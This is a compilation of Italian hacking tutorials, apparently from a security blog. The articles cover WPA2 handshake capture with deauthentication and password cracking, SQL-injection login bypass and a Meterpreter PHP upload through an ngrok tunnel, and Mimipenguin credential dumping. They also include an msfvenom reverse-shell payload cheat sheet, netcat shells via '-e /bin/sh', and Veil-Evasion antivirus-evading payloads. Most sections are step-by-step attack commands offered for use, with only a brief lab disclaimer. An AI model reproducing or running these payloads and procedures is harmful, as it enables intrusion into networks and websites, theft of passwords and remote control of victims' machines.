Ora per avviare la modalità monitor, digita " airmon-ng start wlan0 ", che converte il tuo wlan0 in wlan0mon .

Lo strumento successivo è airodum-ng che ci consente di catturare i pacchetti delle nostre specifiche. Inizia ad ascoltare i frame Beacon 802.11 trasmessi dai router wireless nelle vicinanze utilizzando l'interfaccia del monitor digitando " airodump-ng wlan0mon " nello stesso terminale.

Dovresti vedere l'output simile alla schermata sopra.

Ai fini di questa pratica, sceglieremo di decifrare la password della nostra rete, " Chetan Soni ". Ricorda l' indirizzo MAC BSSID e il numero di canale (CH) come visualizzato da, poiché avremo bisogno di entrambi per i passaggi successivi.

Quindi il nostro indirizzo BSSID è C4:F0:81:A1:0C:99 e Channel No è ​​11 .

Come possiamo vedere nello screenshot qui sopra, airodump-ng mostra tutti gli AP (punti di accesso) nel raggio d'azione con il loro BSSID (indirizzo MAC), la loro potenza, il numero di frame beacon, il numero di pacchetti dati, il canale, il velocità, il metodo di crittografia, il tipo di cifratura utilizzata, il metodo di autenticazione utilizzato e, infine, l'ESSID.

Ora il passaggio successivo consiste nell'acquisire un handshake a 4 vie perché WPA/WPA2 utilizza un handshake a 4 vie per autenticare i dispositivi sulla rete. Non devi sapere nulla di cosa significhi, ma devi catturare una di queste strette di mano per decifrare la password di rete.

Queste strette di mano si verificano ogni volta che un dispositivo si connette alla rete, ad esempio quando il tuo vicino torna a casa dal lavoro.

Per acquisire l'handshake a 4 vie, digita " airodump-ng -c 11 –bssid C4:F0:81:A1:0C:99 -w        wlan0mon " nel tuo terminale.

Qui -c sta per Channel, –bssid sta per Mac Address e -w sta per scrivere i pacchetti in un file.

Dovresti vedere l'output simile alla schermata sopra. Ora qui puoi vedere nell'angolo in alto a destra dello schermo sopra, non c'è stretta di mano quindi per ottenere immediatamente il valore di stretta di mano, useremo il metodo di deautenticazione in cui saremo costretti a inviare i pacchetti di deautenticazione dannosi alla destinazione per la riconnessione.

Per deautenticare la destinazione, digitare " aireplay-ng -0 2 -a C4:F0:81:A1:0C:99 -c 84:10:0D:9E:A1:CD wlan0mon " in un altro terminale.

Aireplay-ng è un altro potente strumento nel nostro arsenale di aircrack-ng e può essere utilizzato per generare o accelerare il traffico sull'AP. Ciò può essere particolarmente utile in attacchi come un attacco deauth che allontana tutti dal punto di accesso, attacchi con password WEP e WPA2, nonché attacchi ARP injection e replay.

Qui -a sta per l'indirizzo BSSID del target e -c sta per l'indirizzo della stazione.

Un attacco deauth invia pacchetti di deautenticazione contraffatti dalla tua macchina a un client connesso alla rete che stai tentando di violare. Questi pacchetti includono falsi indirizzi " mittente " che li fanno apparire al client come se fossero stati inviati dal punto di accesso stesso.

Alla ricezione di tali pacchetti, la maggior parte dei client si disconnette dalla rete e si riconnette immediatamente, fornendo un handshake a 4 vie come mostrato di seguito.

Puoi facoltativamente trasmettere pacchetti deauth a tutti i client connessi con " aireplay-ng -0 2 -a <BSSID> wlan0m0n ".

Quindi qui, la nostra stretta di mano è " C4:F0:81:A1:0C:99 ".

Dopo aver catturato una stretta di mano, premi CTRL + C per uscire da airodump-ng . Dovresti vedere un file .cap ovunque tu abbia detto ad airodump-ng di salvare l'acquisizione (probabilmente chiamato       -01.cap ). Useremo questo file di acquisizione per decifrare la password di rete.

Ora il passaggio finale è decifrare la password utilizzando l'handshake acquisito. Se hai accesso a una GPU, ti consigliamo vivamente di utilizzare hashcat per il cracking della password.

Metodo 1 – GPUHASH.me

Puoi anche utilizzare un sito Web Gpuhash.me tramite il quale devi semplicemente caricare il tuo file .cap facendo clic su Aggiungi nuova attività .

Nel secondo passaggio, fare clic su Avanti

Ora seleziona il pacchetto di ricerca WPA di base e inserisci il tuo indirizzo email, quindi fai clic su INVIA.

Alla fine, otterrai un ID attività in cui puoi facilmente monitorare il tuo stato indipendentemente dal fatto che la tua password sia stata violata o meno.

Metodo 2 – OnlineHashCrack

Puoi anche caricare il tuo file .cap nel sito Web OnlineHashCrack insieme al tuo indirizzo e-mail e quindi inviarlo. Qui puoi caricare il file .cap di dimensioni massime di soli 20 MB.

Metodo 3 – Naive-Hashcat

Prima di decifrare la password utilizzando naive-hashcat , dobbiamo convertire il nostro .cap nel formato di file hashcat equivalente .hccapx. Puoi farlo facilmente caricando il file .cap su https://hashcat.net/cap2hccapx/ o utilizzando direttamente lo strumento cap2hccapx .

Puoi anche utilizzare il sito Web hashc.co.uk per convertire il file .cap in un file .hccapx.

Puoi anche utilizzare l'utilità hashcat che è uno script open source che puoi scaricare tramite github digitando " git clone https://github.com/hashcat/hashcat-utils.git ".

Dopo aver scaricato l'hashcat, vai nella directory /src e digita il comando " make " per compilare il pacchetto.

Ora esegui il seguente comando per convertire il file .cap in formato .hccapx usando hashcat.

Comando: ./cap2hccapx.bin <percorso file .cap> <nomefile.hccapx>

Ora copia il file .hccapx in root perché abbiamo bisogno di questo file con lo script naive-hashcat .

Ora per installare il pacchetto naive-hashcat, digita " git clone https://github.com/brannondorsey/naive-hashcat ".

Scarica il file del dizionario digitando " curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ".

Ora digita " HASH_FILE=../      .hccapx POT_FILE=      .pot HASH_TYPE=2500 ./naive-hashcat.sh " .

Naive-hashcat utilizza vari attacchi di dizionario, regola, combinazione e maschera (forza bruta intelligente) e possono essere necessari giorni o addirittura mesi per eseguire contro password di media potenza. La password crackata verrà salvata su       .pot, quindi controlla periodicamente questo file. Una volta che hai decifrato la password, dovresti vedere qualcosa di simile come contenuto del tuo file pot.

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:Chetan Soni:hackitnow

Aircrack-ng può essere utilizzato per attacchi di dizionario molto semplici in esecuzione sulla tua CPU. Prima di eseguire l'attacco è necessario un elenco di parole. Ora copia lo stesso file del dizionario in root digitando il comando seguente:

Nota che se la password di rete non è nel file di parole, non riuscirai a decifrare la password.

Per decifrare la password usando aircrack-ng, digita " aircrack-ng -a2 -b C4:F0:81:A1:0C:99 -w dictionary.txt       -01.cap ".

Se la password è decifrata vedrai una CHIAVE TROVATA! messaggio nel terminale seguito dalla versione in testo normale della password di rete come mostrato di seguito:

Yippe, abbiamo la chiave! Gran parte delle informazioni qui presentate sono state raccolte da Github . Grazie anche ai fantastici autori e manutentori che lavorano su Aircrack-ng e Hashcat.

Attacca un sito web con Ngrok, Msfvenom e Metasploit Framework

   

In un recente sondaggio, solo il 15% dei proprietari di aziende ha visto la sicurezza come una sfida quando più della metà ha riferito di essere stata violata e, di questi, solo il 6% delle piccole imprese non ha nessuno che gestisca la propria sicurezza online.

Più persone hanno accesso a Internet che mai. Ciò ha spinto molte organizzazioni a sviluppare applicazioni basate sul Web che gli utenti possono utilizzare online per interagire con l'organizzazione. Il codice scritto male per le applicazioni web può essere sfruttato per ottenere l'accesso non autorizzato a dati sensibili e server web.

In questo articolo, ti presenteremo  la tecnica di hacking delle applicazioni web e le contromisure che puoi mettere in atto per proteggerti da tali attacchi .

Requisiti -

  1. Un sito Web/applicazione vulnerabile
  2. Ngrok – Tunnel sicuro
  3. Msfvenom e Msfconsole

La maggior parte delle applicazioni web sono ospitate su server pubblici accessibili via Internet. Ciò li rende vulnerabili agli attacchi grazie alla facile accessibilità. Di seguito sono elencate le minacce comuni per le applicazioni Web.

In questo scenario pratico, hackereremo il pannello di amministrazione di un sito Web tramite SQL Injection basato su stringhe e quindi proveremo a caricare un exploit dannoso tramite un modulo tramite il campo di caricamento e quindi otterremo la connessione inversa in Meterpreter.

Quindi il primo passo per bypassare il pannello di accesso tramite SQL Injection basato su stringhe. SQL Injection è una delle tecniche di hacking web più comuni e di solito si verifica quando chiedi a un utente un input, come nome utente e password. Un hacker può accedere facilmente a nomi utente e password in un database semplicemente inserendo "o"=" nella casella di testo del nome utente e della password come mostrato di seguito:

Se si ignora correttamente la pagina di accesso con il codice SQL, nel passaggio successivo è necessario configurare un servizio di tunnel ngrok in modo da poter ottenere la connessione inversa di quel sito Web su Internet/WAN.

Per questo, devi utilizzare ngrok.com , iniziare creando un semplice account e scaricare il pacchetto dal sito Web in base alla tua architettura.

Dopo aver creato un account, è necessario decomprimere il pacchetto con il comando " unzip <package name> " e quindi installare l'authtoken come fornito nella schermata sopra con il comando " ./ngrok authtoken <your token> ".

 

Ora avvia il servizio TCP di ngrok con la porta 4444 digitando " ./ngrok tcp 4444 ". Puoi scegliere qualsiasi porta in base alle tue necessità.

Il comando precedente fornirà un indirizzo di inoltro locale che è tcp://0.tcp.ngrok.io con il numero di porta di inoltro 18290 che accetta tutte le richieste remote e inoltrerà al tuo host locale con la stessa porta, ad esempio 4444 , che hai utilizzato nel primo comando mentre avviare il servizio ngrok tcp.

Quindi qui in questo caso, il tuo LHOST = 0.tcp.ngrok.io e il tuo LPORT = 18290.

Ora il passaggio successivo è creare un payload dannoso utilizzando l'utilità msfvenom che è installata per impostazione predefinita nel sistema operativo Kali Linux.

Comando: msfvenom -p php/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=18290 R > hack.php

Qui -p sta per payload e R sta per formato Raw.

Ora il tuo file hack.php viene salvato nella tua posizione root che devi caricare su quel sito Web compromesso tramite qualsiasi modulo interno in cui è presente la funzionalità di navigazione. Quindi, nel sito sopra, abbiamo aggirato con successo il pannello di accesso e poi per fortuna abbiamo trovato un modulo php con funzionalità di caricamento file in cui abbiamo caricato con successo il nostro file dannoso in quel server.

Ora il prossimo passo è trovare il percorso del file caricato, che puoi facilmente trovare attraverso " Indice di / " dork. Quindi, in questo caso, il nome del nostro file è " 150135111_hack.php ".

Una volta che il tuo payload è stato caricato nel server remoto con qualsiasi tecnica di hacking, devi eseguire il framework metasploit e ottenere la connessione inversa. Per avviare il framework metasploit , digita " msfconsole " nel tuo terminale.

Quindi qui useremo multi/handler exploit digitando " use exploit/multi/handler " nello stesso terminale e il payload che useremo è " set payload php/meterpreter/reverse_tcp ".

Qui devi impostare LHOST e LPORT, se stai usando ngrok o qualsiasi altro servizio di tunnel, allora il tuo indirizzo LHOST sarà sempre 0.0.0.0 ma se stai usando questo framework metasploit in LAN, allora devi mettere il tuo IP locale indirizzo che puoi facilmente ottenere digitando " ifconfig " nel tuo terminale.

Non appena esegui l'exploit in metasploit ed esegui hack.php nel browser, otterrai immediatamente la connessione meterpreter inversa su Internet.

Qui nello screenshot sopra, puoi vedere che sei entrato con successo nel server remoto. Digita " ls " per elencare tutti i file nel server remoto.

Il comando " pwd " ti darà il percorso corrente in cui hai caricato il tuo file dannoso.

Ecco alcuni elenchi di comandi che puoi facilmente utilizzare con meterpreter.

?
– Sfondo del menu Guida – Fa da sfondo alla sessione corrente
bgkill – Uccide uno script meterpreter in background
bglist – Elenca gli script in background in esecuzione
bgrun – Esegue uno script meterpreter come
canale thread in background – Visualizza informazioni o controlla i canali attivi
close – Chiude un canale
disable_unicode_encoding – Disabilita la codifica di unicode strings
enable_unicode_encoding – Abilita la codifica delle stringhe unicode
exit – Termina la sessione meterpreter
get_timeouts – Ottieni i valori di timeout della sessione corrente
help – Informazioni sul menu Help
– Visualizza le informazioni su un modulo Post
irb – Passa alla modalità di scripting irb
load – Carica una o più estensioni meterpreter
machine_id – Ottieni l'ID MSF della macchina collegata alla
migrazione della sessione – Migra il server su un altro processo
quit – Termina la
lettura della sessione meterpreter – Legge i dati da una
risorsa del canale – Esegue i comandi memorizzati in un file
run – Esegue uno script meterpreter o Posta
sessioni del modulo rapidamente – passa a un'altra sessione
set_timeouts – Imposta i valori di timeout della sessione corrente
sleep– Forza Meterpreter a tacere, quindi ristabilisci la sessione.
transport – Cambia l'
uso del meccanismo di trasporto corrente – Alias ​​deprecato per 'load'
uuid – Ottieni l'UUID per la sessione corrente
write – Scrive i dati su un canale
cat – Legge il contenuto di un file sullo schermo
cd – Cambia
il checksum della directory – Recupera il checksum di un file
cp – Copia l'origine nella
directory di destinazione – Elenca i file (alias per ls)
download – Scarica un file o una directory
edit – Modifica un file
getlwd – Stampa la directory di lavoro locale
getwd– Stampa la directory di lavoro
lcd – Cambia la directory di lavoro locale
lpwd – Stampa la directory di lavoro locale
ls – Elenca i file
mkdir – Crea la directory
mv – Sposta l'origine nella destinazione
pwd – Stampa la directory di lavoro
rm – Elimina il file specificato
rmdir – Rimuovi
la ricerca nella directory – Cerca i file
upload – Carica un file o una directory
portfwd – Inoltra una porta locale a un servizio remoto
execute – Esegue un comando
getenv – Ottieni uno o più valori di variabile d'ambiente
getpid – Ottieni l'identificatore del processo corrente
getuid – Ottieni l'utente che il server è in esecuzione come
kill – Termina un processo
localtime – Visualizza la data e l'ora locale del sistema di destinazione
pgrep – Filtra i processi per nome
pkill – Termina i processi per nome
ps – Elenca i processi in esecuzione
shell – Inserisci un comando di sistema shell
sysinfo – Ottiene informazioni sul sistema remoto, come il sistema operativo

Puoi persino caricare il tuo file dannoso tramite attacchi di inclusione di file di cui parleremo ulteriormente.

Nota: fai attenzione quando utilizzi questo tentativo nel sito Web live, puoi utilizzare qualsiasi macchina vulnerabile come DVWA, bWAPP ecc. Per scopi di test e apprendimento.

Rilevamento del sistema operativo tramite Metasploit Framework

   

Nel precedente articolo , abbiamo identificato il nome del sistema operativo utilizzando il comando Ping. Ma oggi ti mostreremo come identificare il sistema operativo utilizzando uno e un solo framework di post sfruttamento, ad esempio Metasploit Framework .

Metasploit è principalmente un framework per sviluppare e testare exploit. Viene fornito con una suite di strumenti di supporto che aiutano nello sviluppo degli exploit, inclusi i port scanner. Possiamo utilizzare uno di questi scanner per cercare porte aperte e impronte digitali Servizi Windows, nonché il tipo di sistema operativo. Utilizzando i seguenti comandi possiamo rapidamente rilevare la porta SMB di 445 per determinare la versione del sistema operativo.

Per avviare il framework metasploit, digita " msfconsole " nel tuo terminale.

Ci sono una varietà di moduli port scanner disponibili nel framework metasploit come acknowledgment scan, syn scan, tcp scan, xmas scan ecc. Ma per questo scopo, useremo syn scan digitando il seguente comando:

Comando: usa ausiliario/scanner/portscan/syn

Gli scanner e la maggior parte degli altri moduli ausiliari utilizzano l' opzione RHOSTS invece di RHOST. RHOSTS può accettare intervalli IP (192.168.1.20-192.168.1.30), intervalli CIDR (192.168.1.0/24), intervalli multipli separati da virgole (192.168.1.0/24, 192.168.3.0/24) ed elenchi di host separati da righe file (file:/tmp/hostlist.txt).

In questo caso, il nostro IP di destinazione è 192.168.179.142, quindi il comando è " set RHOSTS 192.168.179.142 ". Se vuoi eseguire la scansione di tutte le porte comprese tra 1 e 10000, lascia il comando PORTS, altrimenti puoi scegliere " set PORTS 445 ".

Qui caricheremo lo scanner "tcp" digitando il comando run e i risultati sono di fronte a te che mostrano chiaramente che la porta 445 è aperta rispetto al tuo indirizzo di destinazione. Quindi, in base ai risultati, utilizzeremo lo scanner SMB se la porta 445 è aperta.

Per la scansione SMB, digita " use ausiliario/scanner/smb/smb_version " nello stesso terminale.

Definisci nuovamente il target digitando " set RHOSTS 192.168.179.142 ".

Lo scanner smb_version si connette a ciascuna workstation in un determinato intervallo di host e determina la versione del servizio SMB in esecuzione. Come puoi vedere, con pochi semplici comandi di metasploit puoi facilmente determinare il tipo di sistema operativo di un sistema remoto.

Androwarn: un analizzatore di codice statico APK open source

   

Androwarn è uno dei più popolari analizzatori di codice statico per applicazioni Android dannose il cui scopo principale è rilevare e avvisare l'utente di potenziali comportamenti dannosi.

Caratteristiche di Androwarn –

Analisi strutturale e del flusso di dati del bytecode mirato a diverse categorie di comportamenti dannosi:

  1. Esfiltrazione di identificatori di telefonia: IMEI, IMSI, MCC, MNC, LAC, CID, nome dell'operatore...
  2. Esfiltrazione delle impostazioni del dispositivo: versione del software, statistiche sull'utilizzo, impostazioni di sistema, registri...
  3. Perdita di informazioni sulla geolocalizzazione: geolocalizzazione GPS/WiFi...
  4. Esfiltrazione di informazioni sulle interfacce di connessione: credenziali WiFi, indirizzo MAC Bluetooth...
  5. Abuso dei servizi di telefonia: invio di SMS premium, composizione di telefonate…
  6. Intercettazione flussi audio/video: registrazione chiamate, acquisizione video…
  7. Stabilimento della connessione remota: chiamata aperta presa, accoppiamento Bluetooth, modifica impostazioni APN...
  8. Fuga di dati PIM: contatti, calendario, SMS, mail...
  9. Operazioni sulla memoria esterna: accesso ai file su scheda SD...
  10. Modifica dei dati PIM: aggiungi/elimina contatti, eventi del calendario...
  11. Esecuzione di codice arbitrario: codice nativo utilizzando JNI, comando UNIX, escalation dei privilegi...
  12. Denial of Service: disattivazione notifica eventi, cancellazione file, uccisione processi, disabilitazione tastiera virtuale, spegnimento/riavvio terminale...

Androwarn funziona principalmente su 3 modalità, ad es

È possibile salvare facilmente il rapporto in testo normale o in formato HTML formattato.

Installazione di Androwarn in Kali Linux –

Per installare Androwarn con Github, digita " git clone https://github.com/maaaaz/androwarn.git " nel tuo terminale.

Lo strumento Androwarn ha alcune dipendenze e per installare queste dipendenze, seguire i passaggi seguenti:

Installa i pacchetti di sviluppo python, jinja2, git e mercurial sul tuo host:

Quindi scarica l'ultimo modulo Chilkat su https://www.chilkatsoft.com/python.asp , in base alla tua architettura (32 o 64 bit) e alla tua versione python (2.5, 2.6, 2.7, 3.0, 3.1, 3.2)

Per installare chilkat sulla tua macchina Kali Linux, segui i passaggi seguenti:

Il primo passo è estrarre il pacchetto chilkat con l'aiuto del comando tar: " tar xvf chilkat-9.5.0-python-2.7-x86_64-linux.tar.gz ".

Per installare il pacchetto chilkat, digitare " python installchilkat.py " nello stesso terminale.

Per eseguire Androwarn, digita " python androwarn.py -i <yourapplication.apk> -r html -v 3 "

Qui puoi, abbiamo usato -v 3, significa modalità esperto, -i sta per input del tuo file apk e -r sta per il formato del tuo report che in questo caso è HTML e tutti i report verranno salvati nella cartella "Report " .

Per salvare il report in formato testo, digita " python androwarn.py -i <yourapplication.apk> -r txt -v 3 ".

Ecco l'esempio per il formato testo.

Per visualizzare ulteriori informazioni sullo strumento Androwarn, digitare " python androwarn.py -h ".

Password Hack Kali Linux in un testo in chiaro –  

   

Oggi stiamo introducendo un nuovo strumento chiamato " MINIPENGUIN " attraverso il quale puoi facilmente hackerare gli attuali account utente del sistema operativo KALI Linux.

Mimipenguin è uno strumento che ti aiuta a scaricare le password degli account utente di Kali Linux in modo chiaro, proprio come uno strumento simile per Windows chiamato "MIMIKATZ".

Mimipenguin è uno strumento open source che puoi trovare facilmente sul repository GitHub e basato su un potente script Python ed è stato testato su varie distribuzioni Linux.

Come tutti sapete , la maggior parte della distribuzione Linux salva informazioni critiche come nome utente, password, e-mail ecc. Kali Linux in un formato di testo chiaro.

Installazione di Mimipenguin –

L'installazione di Mimipenguin è molto semplice, puoi facilmente installare lo strumento tramite GIT Clone.

root@kali:~# git clone https://github.com/huntergregal/mimipenguin.git

 

Dopo aver completato l'installazione di Mimipenguin, puoi eseguire direttamente il file eseguibile digitando il seguente comando:

root@kali:~# cd mimipenguin
root@kali:~# ./mimipenguin.sh

Con l'esecuzione del file bash diretto, ti mostrerà il nome utente e la password di Kali Linux in un formato di testo in chiaro.

A volte mostrerà un errore relativo a " Dumping Memory Error ", quindi esegui semplicemente il file bash con il comando sedo che esegue il tuo strumento con autorizzazioni amministrative complete.

Quindi il comando sarà:

root@kali:~# sudo ./mimipenguin.sh

Se nel caso, per altre distribuzioni Linux, GIT non funzionerà, quindi in tal caso, devi prima installare GIT sul tuo sistema digitando questi comandi.

Per Debain/Ubuntu = sudo apt install git
Per sistema RHEL/CentOS = sudo yum install git
Per Fedora 22+ = sudo dnf install git

Quindi puoi facilmente clonare la directory mimipenguin nella tua cartella home.

Inoltre, supporta anche varie applicazioni come " VSFTP , APACHE2 e OPENSSH-SERVER .

Per visualizzare l'elenco di tutti i sistemi supportati e testati, fare riferimento a questo collegamento .

MSFVENOM – Tutti gli esempi di payload – Cheatsheet  

   

Msfvenom è un generatore di payload autonomo Metasploit che sostituisce msfpayload e msfencode. Tramite msfvenom, puoi generare qualsiasi tipo di shellcode/payload a seconda della piattaforma/sistema operativo che desideri hackerare.

Spesso una delle abilità più utili di Metasploit è il modulo msfvenom. Con questo modulo è possibile creare più payload e aiuta qualcosa che può darti una shell in quasi tutte le situazioni.

Per ognuno di questi payload puoi andare in msfconsole e selezionare exploit/multi/handler . Eseguire " set payload " per il relativo payload utilizzato e configurare tutte le opzioni necessarie ( LHOST, LPORT, SRVHOST, SRVPORT ecc .). Eseguire e attendere l'esecuzione del payload.

Per lo sfruttamento nella rete locale, inserisci il tuo indirizzo IP in LHOST ma per lo sfruttamento su WAN , devi riempirlo con il tuo IP pubblico e assicurarti che la tua porta debba essere inoltrata oppure puoi anche utilizzare il tunnel NGROK se stai affrontando qualsiasi problema con il port forwarding. Ngrok inoltrerà automaticamente tutto il traffico al tuo host locale.

I vantaggi di msfvenom sono:

Utilizzo di Msfvenom:

msfvenom [opzioni] <var=val>

Per elencare tutte le opzioni, digita " msfvenom -h "

Per elencare tutti i payload, digita " msfvenom -l "

Per Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > /root/Download/exploit/exploit.elf

Per Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > /root/Download/exploit/exploit.exe

Per Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > /root/Download/exploit/exploit.macho

Per PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > /root/Download/exploit/exploit.php

Per ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > /root/Download/exploit/exploit.asp

Per JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > /root/Download/exploit/exploit.jsp

Per GUERRA:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > /root/Download/exploit/exploit.war

Per Python:

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.py

Per Bash:

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > /root/Download/exploit/exploit.sh

Per Perl:

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > /root/Download/exploit/exploit.pl

Per tutti i formati shellcode, digita " msfvenom –help-formats " nel tuo terminale.

Come utilizzare Netcat per l'ascolto, l'acquisizione di banner e il trasferimento di file

   

Netcat è uno di quei pochi strumenti come nmap , Metasploit , Wireshark e pochi altri con cui ogni hacker dovrebbe avere familiarità. È semplice, elegante e ha una moltitudine di usi.

Ad esempio, netcat può essere utilizzato per;

Come tante applicazioni nel mondo Linux, netcat funziona in modalità client e server. Ciò significa che dobbiamo designare un lato il server e un lato il client, quando si utilizza netcat.

In questo caso, stiamo usando due macchine, una è Kali Linux   VM in cui netcat è preinstallato e l'altra è Windows 10 , che è la nostra macchina di base in cui abbiamo installato netcat nella directory C:\ con la directory denominata " nc " .

Nozioni di base su Netcat

Cominciamo guardando la schermata di aiuto per netcat. Quando si utilizza netcat, il comando è semplicemente " nc ". Per ottenere la schermata di aiuto, digitare;

Comando: nc -h

Nota alcuni interruttori a chiave;

Crea una connessione TCP semplice

Netcat può essere utilizzato per creare una semplice connessione TCP o UDP al sistema per vedere se la porta e il servizio sono disponibili. Quindi, ad esempio, se volessimo connetterci all'SSH su un sistema remoto, possiamo digitare;

Comando: nc -vn 192.168.179.146 22

Come puoi vedere, netcat è stato in grado di connettersi a OpenSSH su un server remoto e ha pubblicizzato il servizio con il suo banner insieme alla versione del server openssh che potrebbe essere utile per un utente malintenzionato.

Afferrare lo striscione

Possiamo anche utilizzare netcat per " catturare " il banner sui server Web collegandoci alla porta 80 e quindi inviando una richiesta HEAD / HTTP/1.0 o HEAD / HTTP/1.1 a seconda del protocollo che stanno utilizzando.

Comando: nc 192.168.179.146 80
HEAD / HTTP/1.0

Assicurati di premere " Invio " un paio di volte dopo aver digitato la richiesta HEAD per estrarre il banner. Come puoi vedere, abbiamo catturato il banner del web server Apache 2.4.25 in esecuzione su Debian. Attraverso questo metodo, puoi persino trovare i metodi HTTP aperti rispetto al target come CONNECT, DELETE, DEBUG, OPTIONS, PUT ecc.

Apertura della connessione TCP tra due macchine per "chat"

Netcat è in grado di creare una semplice connessione TCP o UDP tra due computer e quindi aprire un canale di comunicazione tra di loro. Apriamo prima un listener sul sistema remoto, ad esempio sulla macchina Windows 10.

Comando: nc -l -p1604

Quindi connettiti a quel listener in Kali Linux da una macchina remota digitando il comando seguente.

Comando: nc 192.168.1.3 1604

Quando si connette, possiamo quindi iniziare a digitare il mio messaggio.

Quel messaggio apparirà quindi sul sistema remoto con l'ascoltatore. La macchina in ascolto può quindi rispondere e quindi la macchina remota può rispondere. In questo modo, possiamo creare una " chat room " privata tra due macchine qualsiasi!

Trasferimento di file con Netcat

Una delle semplici meraviglie di netcat è la sua capacità di trasferire file tra computer. Creando questa semplice connessione, possiamo quindi utilizzare quella connessione per trasferire file tra due macchine. Questo può essere estremamente utile come amministratore di rete e ancora più utile come hacker. Netcat può essere utilizzato per caricare e scaricare file da e verso il sistema di destinazione.

Creiamo un file chiamato " file.txt " digitando il comando seguente.

Comando: echo “Questo è un semplice testo” > file.txt

Poi, vediamo il contenuto di quel file usando il comando di Linux “ cat “.

Comando: cat file.txt

Ora, apriamo un listener sul sistema remoto, ad esempio su un computer Windows, digitando il comando seguente.

Comando: nc -l -p1605

Successivamente, inviamo il file al sistema remoto da Kali Linux a Windows 10.

Comando: nc 192.168.1.3 1605 < file.txt

Nota che usiamo il < per indirizzare il file a netcat. ? Infine, torna al nostro sistema di ascolto e dovremmo scoprire che il file è stato trasferito e appare sullo schermo!

Per l'amministrazione remota, puoi utilizzare nc -l -p6996 -e /bin/sh

Ora, quando ci connettiamo alla macchina remota, dovremmo essere in grado di ottenere una shell sul sistema remoto. Se poi digitiamo " ls -l " , otteniamo un elenco di directory dalla directory in cui abbiamo avviato il netcat listener sul sistema remoto.

Per utilizzare la comunicazione TCP in modo avanzato, puoi anche utilizzare CryptCat che è un cugino crittografato di netcat in cui tutto il tuo traffico è crittografato con un potente algoritmo. In Kali Linux, CryptCat è preinstallato ma per altre distribuzioni puoi scaricarlo da cryptcat.sourceforge.net .

Testare tutte le vulnerabilità SSL con TestSSL Script

   

testssl.sh è praticamente portatile/compatibile. Funziona su ogni distribuzione Linux, Mac OS X, FreeBSD, su MSYS2/Cygwin (lento). testssl.sh è uno strumento a riga di comando gratuito che controlla il servizio di un server su qualsiasi porta per il supporto di cifrari TLS/SSL, protocolli e alcuni difetti crittografici.

Caratteristiche principali

Installazione di testssl in Kali Linux –

Puoi installare facilmente lo script testssl direttamente da githhub digitando il comando seguente.

Comando: git clone –depth 1 https://github.com/drwetter/testssl.sh.git

Dopo l'installazione completa, creerà automaticamente una directory con lo stesso nome file, ad esempio " testssl.sh ".

Ora per eseguire semplicemente questo script, digita " ./testssl.sh ". Se mostra qualche tipo di errore, assicurati di aver eseguito le autorizzazioni per eseguire questo script, che puoi facilmente modificare tramite " chmod +x testssl.sh ".

Fondamentalmente lo script testssl viene solitamente utilizzato per scansionare le vulnerabilità relative a SSL come Heartbleed, POODE, BREACH, CRIME, CCS, Ticketbleed ecc.

Per eseguire la scansione di tutte le vulnerabilità SSL, digitare " ./testssl.sh -U <IP/Host> "

Qui -U, per scansionare tutte le vulnerabilità SSL.

Per eseguire la scansione del target in modalità predefinita, in cui eseguirà automaticamente la scansione dell'IP/Host rispetto alla porta 443, digitare " ./testssl.sh <IP/HOST> ".

Ecco il risultato nella modalità di scansione predefinita,

Ecco le opzioni che puoi usare facilmente con lo script testssl .

Nota: non provare versioni obsolete di OpenSSL prima della 1.0! Quelle versioni sono deprecate, probabilmente non andrai molto lontano. testssl.sh non sta ancora bloccando quelle versioni, ma le cose potrebbero non funzionare come previsto.

Creazione di un payload non rilevabile utilizzando Veil-Evasion Toolkit

   

Nei tutorial precedenti, abbiamo utilizzato msfvenom per generare vari payload, ma ora un giorno le aziende AV hanno codificato una firma per i modelli utilizzati da questi schemi in modo da aggirare AV, oggi useremo un altro framework chiamato Veil-Evasion Framework.

Veil-Evasion è uno strumento progettato per generare payload metasploit che aggirano le comuni soluzioni antivirus.

Per installare Veil-Evasion, digita il seguente comando nella tua macchina Kali Linux.

Comando: apt-get install veil-evasion

Puoi anche scaricare l'evasione del velo dal repository GitHub . Per avviare l'evasione del velo, basta digitare " evasione del velo ".

Si apre una schermata di benvenuto e ti chiederà di installare tutte le dipendenze con 3 modalità, ad es

  1. y- Installazione dettagliata
  2. s – Installazione silenziosa
  3. N – No (Esci)

Qui andremo con la prima modalità, ovvero l'installazione dettagliata. Ora il velo inizierà a installare tutte le dipendenze necessarie per avviare l'evasione del velo.

Alla fine Veil-evasion ti chiederà se vuoi installare Python per Windows . Selezionare " Installa per tutti gli utenti " e fare clic sul pulsante Avanti.

Pywin32-219 è la seconda dipendenza che puoi facilmente installare facendo clic sul pulsante Avanti finché non arrivi finalmente a una finestra con il pulsante Fine .

Dopo Pywin32-219, ti chiederà di installare pycrypto-2.6.

Dopo pycrypto-2.6, è necessario installare anche il pacchetto Ruby per Windows facendo clic sul pulsante Avanti. Alla fine la tua pazienza sarà premiata quando finalmente arriverai alla schermata di benvenuto di Velo-Evasione.

Come puoi vedere, ci sono circa 51 payload che possiamo utilizzare per creare payload non rilevabili per il framework metasploit . Per elencare tutti i payload digitare " list " nello stesso terminale.

Nella prima fase, fondamentalmente creeremo un file .exe che conterrà un payload che ci consentirà di possedere il sistema della vittima, quindi per questo processo utilizzeremo il payload " ruby/meterpreter/rev_tcp " che si trova al numero 49 e per utilizzare questo tipo di payload " usa 49 " nel tuo stesso terminale.

Ora devi impostare LHOST e LPORT con cui puoi facilmente impostarlo

